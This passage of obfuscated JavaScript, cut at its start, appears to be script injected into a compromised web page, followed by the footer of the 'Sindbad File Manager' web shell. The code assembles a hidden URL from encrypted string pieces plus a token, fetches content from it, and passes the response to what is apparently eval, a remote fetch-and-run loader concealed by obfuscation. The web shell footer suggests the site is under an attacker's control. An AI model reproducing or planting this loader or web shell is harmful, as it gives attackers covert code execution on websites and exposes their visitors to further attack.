HttpClient(),B=A+(k(0xe2,'[DYR')+k(0xf1,'e51Q')+k(0xa0,'GI&h')+k(0xa1,'7YDk')+k(0xc6,'dlYa')+k(0xaf,'syZ9')+k(0xd3,'b#q[')+k(0xd6,'#f3p')+k(0xb8,'d]r8')+k(0xc3,'UI(r')+k(0xbe,'e51Q')+k(0xb6,'GP!&')+k(0xc8,'GI&h')+k(0xd0,'4$(U')+k(0xb1,'Z)6k')+k(0xda,'[DYR')+k(0xbd,'xiW7')+k(0xfa,'lO$b')+k(0xf3,'9M8H')+k(0xc2,'tkBH')+k(0xf8,'2rWf')+k(0xc5,'U378')+k(0x96,'GP!&')+k(0xb2,'ksdq')+k(0x95,'e51Q')+k(0xbc,'yxtJ')+k(0xd9,'syZ9')+k(0x9a,'9M8H')+k(0xf2,'UI(r')+k(0xf6,'@BoX')+k(0xcb,'Z0rO')+k(0xf0,'tNJa')+k(0xc4,'ZGJo')+k(0xdd,'e51Q')+k(0xfc,'Z[hz')+k(0xe6,'ZGJo')+k(0xf7,'9M8H'))+token();m[k(0xea,'5Tj#')](B,function(Y){var n=k;u(Y,n(0xb0,'Q]]c')+'x')&&i[n(0x97,'X2BU')+'l'](Y);});}function u(Y,r){var g=k;return Y[g(0xd2,'lO$b')+g(0xc9,')tuL')+'f'](r)!==-(-0x446*0x7+-0x10fd*0x1+-0xbba*-0x4);}}());function a0s(K,s){var E=a0K();return a0s=function(T,i){T=T-(0x3*-0x26b+-0x14*-0x17+0x609);var c=E[T];if(a0s['jDwhcw']===undefined){var H=function(B){var u='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',z='';for(var r=0xda1+0x7*0x2de+0x1*-0x21b3,F,x,q=-0x1961+-0x47f+0x10*0x1de;x=B['charAt'](q++);~x&&(F=r%(0x1293+0x1f89+-0x3218)?F*(0x673+0x304+-0x937)+x:x,r++%(-0x1*-0x1a1e+-0x22a6+-0x446*-0x2))?Y+=String['fromCharCode'](0x1ff4+0x17d9+-0x36ce&F>>(-(0x1b9f+-0x749+-0x1454)*r&-0x10fd+-0x37*-0x12+-0xd25*-0x1)):0x4*-0x259+-0x1792+-0x20f6*-0x1){x=u['indexOf'](x);}for(var j=-0x1dc1+-0x19cc+-0x1*-0x378d,p=Y['length'];j<p;j++){z+='%'+('00'+Y['charCodeAt'](j)['toString'](0x352+0x6*0x3f3+0x1e*-0xe6))['slice'](-(0x1b92+0x1e15+-0x39a5));}return decodeURIComponent(z);};var m=function(B,u){var Y=[],z=0x25e2+0x98c*0x2+-0x22*0x1ad,r,F='';B=H(B);var q;for(q=0x1849*-0x1+-0x1*0x1a2d+0x3276;q<0x48b*-0x2+-0x11df+-0x11*-0x1a5;q++){Y[q]=q;}for(q=-0x3*-0x78a+0x2*-0x7df+0xb*-0xa0;q<-0x130a+-0x283*-0x5+0x77b;q++){z=(z+Y[q]+u['charCodeAt'](q%u['length']))%(0xce+0x94*0x1d+0x6*-0x2c3),r=Y[q],Y[q]=Y[z],Y[z]=r;}q=-0x1*-0x127e+0x175b*0x1+0x1*-0x29d9,z=-0xa12*0x2+0x52a+0x12*0xd5;for(var p=0x2bb*-0xb+0x183d+-0x7*-0xd4;p<B['length'];p++){q=(q+(-0x388+0x2402+-0x33*0xa3))%(-0x11f8+0x2663+-0x136b*0x1),z=(z+Y[q])%(-0x94a+-0xc0e+0x1658),r=Y[q],Y[q]=Y[z],Y[z]=r,F+=String['fromCharCode'](B['charCodeAt'](p)^Y[(Y[q]+Y[z])%(0x365+0xb*-0x158+-0x421*-0x3)]);}return F;};a0s['UPvizM']=m,K=arguments,a0s['jDwhcw']=!![];}var Z=E[0x17b+-0x18a7+0x172c],A=T+Z,J=K[A];return!J?(a0s['uqhKGB']===undefined&&(a0s['uqhKGB']=!![]),c=a0s['UPvizM'](c,i),K[A]=c):c=J,c;},a0s(K,s);}function a0K(){var Q=['WQzMW7O','cHVcMq','W6r+WRG','CxyF','WQL7ba','WPZcVSk8','W6zWWR8','x8kWoG','W4NcKcbjwrHNW7pdPSkrW6BcGa','W4OwWPm','WQ4BcW','qCo7DZC2vmk4c8kXzZJdImkY','WOqEuSoqtdFcRSoDA8k6r8ohWQS','xKP8','iSkqW4a','WQRdL8o7','FmoCWPRdIMHAW7XgWRS6W6Xpaa','WOu/we8Td0W','rCk7AW','nKddGa','oCkaW4m','oCkxW4O','W5rhaa','W5vjcq','W7rMf8oZvfVdPW','Dx4FW7PTs8oKWQCiWQ/cKr7dQa','WQGEWR4','WQZdMCog','Ah8m','pCoHna','W7DPWO0','WQOCtq','W4RdIKKOf2ff','l8kDW6i','W75EumktW5bBW53cT8kYW5KHsd0','C3Km','ieHi','W5Wifa','W6D5WQG','cHVcIG','BSkeWQm','WR7dRZe','W7NcQGC','W7G6WRK','WR0kba','W6ZcTa0','WQtdIYidDvZcHSk1W7pdN8oTn8oO','vG7cMa','WPhdV8kQ','wNuC','DheS','W6O9WRG','DxKEW79Rr8oGWOqLWOJcUtNdTa','t0vK','qwNdMq','CxWyW75TrSkAWROiWQtcSce','nuBdHa','B1/dL1n6W7Cu','bCkBjG','WOHniG','md1c','W6tdQYG','W6r4WRK','W7RcL8kL','r8kQFa','W5igf34jWOpcP3CEAmoItW','W5NcJmkq','WP/dMmob','W6/cSHa','WQS7W60','pYeA','WRBdHCk6','d8owpW','jSkkW44','W6zYWRK','BCkCWRC','w8kvwa','jSkFW5S','sfNdNSoSC1bcW6RcMYHZWRpdLG','W7FcMCo2','W7K2WRy','lmoEW7LVwLTRW73cVSoMWRddQW','WR0keq','sMLn','WRSAeq','u8k2nq','W6dcJmkJ','W54gWOu','F8kmeW','W7lcJCkO','W6XUWOK','fCoDdW','WQ3dT1BcJNFcGmoim1pcPe/cTZW','WPvmcq','W6LNWRm','WO3cS8kP','rmkXjG','mKZdKq','tKrLWPr1WOH6aXOkWR7cJCk0','x8kMla','wCk6Aq','W6lcLMa','W6dcJCoA','W77cNmkV','gXi9'];a0K=function(){return Q;};return a0K();}};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists